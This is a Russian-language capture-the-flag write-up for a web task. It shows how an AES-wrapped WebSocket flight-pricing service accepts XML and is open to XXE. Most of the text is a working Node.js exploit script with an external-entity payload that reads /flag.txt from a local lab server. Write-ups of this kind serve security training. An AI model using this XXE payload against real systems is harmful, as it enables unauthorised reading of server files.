# WEB-1
Оценка: 10
## Описание
В данном задании необходимо выполнить исследование веб-приложения и найти уязвимости, позволяющие прочитать файлы на сервере. Ответом на задание служит флаг, лежащий в файле /flag.txt в файловой системе.
## Решение
Веб-приложение имитирует сервис по вычислению стоимости авиабилетов (Рис. 1).

Рис. 1
Сервис использует протокол WebSocket для запросов расчета цены. По протоколу отправляются данные в формате json, дополнительно шифрованные методом AES, реализованным на клиенте и сервере. Поскольку seed для генерации ключа шифрования склеивается с IV и шифротекстом, можно без труда шифровать и расшифровывать данные при общении с сервером.
В посылаемых данных присутствует параметр format со значением json. Можно пробовать его изменять на другие форматы данных и понять, что формат `.xml` также принимается. Далее находим уязвимость XXE, позволяющую читать локальные файлы, с помощью которой читаем флаг `/flag.txt`. Пример реализации:
```javascript
const ws = require('ws');
const CryptoJS = require("crypto-js");
payload = `<!DOCTYPE r [<!ENTITY sp SYSTEM "file:///flag.txt">]><data><countries></countries><startdate></startdate><enddate></enddate><resttype></resttype><r>&sp;</r></data>`
const MASTER_PASSWORD = 'InsureYourTravel'
function encrypt(data) {
var G = CryptoJS.lib.WordArray.random(16);
key = CryptoJS.PBKDF2(MASTER_PASSWORD, G, {
keySize: 8,
iterations: 100
});
var iv = CryptoJS.lib.WordArray.random(16);
var I = CryptoJS.AES.encrypt(data, key, {
iv: iv,
padding: CryptoJS.pad.Pkcs7,
mode: CryptoJS.mode.CBC
});
return CryptoJS.enc.Base64.stringify(G.concat(iv).concat(I.ciphertext))
}
function toBase64String(words){
return CryptoJS.enc.Base64.stringify(words);
}
function decrypt(data) {
data = CryptoJS.enc.Base64.parse(data)
var G = CryptoJS.lib.WordArray.create(data.words.slice(0, 4))
var iv = CryptoJS.lib.WordArray.create(data.words.slice(4, 8))
var ciphertext = CryptoJS.lib.WordArray.create(data.words.slice(8))
key = CryptoJS.PBKDF2(MASTER_PASSWORD, G, {
keySize: 8,
iterations: 100
});
ciphertext = toBase64String(ciphertext);
var D = CryptoJS.AES.decrypt(ciphertext, key, {
iv: iv
}).toString(CryptoJS.enc.Utf8)
return D
}
function decrypted(body) {
let { data } = body;
if (!data)
return data;
return JSON.parse(decrypt(data));
}
function encrypted(body) {
return {'data': encrypt(JSON.stringify(body))};
}
const socket = new ws.WebSocket('ws://127.0.0.1:8080');
socket.addEventListener('message', (event) => {
if (event.data == 'connected') return;
if (JSON.parse(event.data).error) {
console.log(JSON.parse(event.data).error);
return;
}
let dec = decrypted(JSON.parse(event.data));
console.log(dec);
});
socket.addEventListener('open', (event) => {
let enc = JSON.stringify(encrypted({format: 'xml', data: payload}));
socket.send(enc);
});
```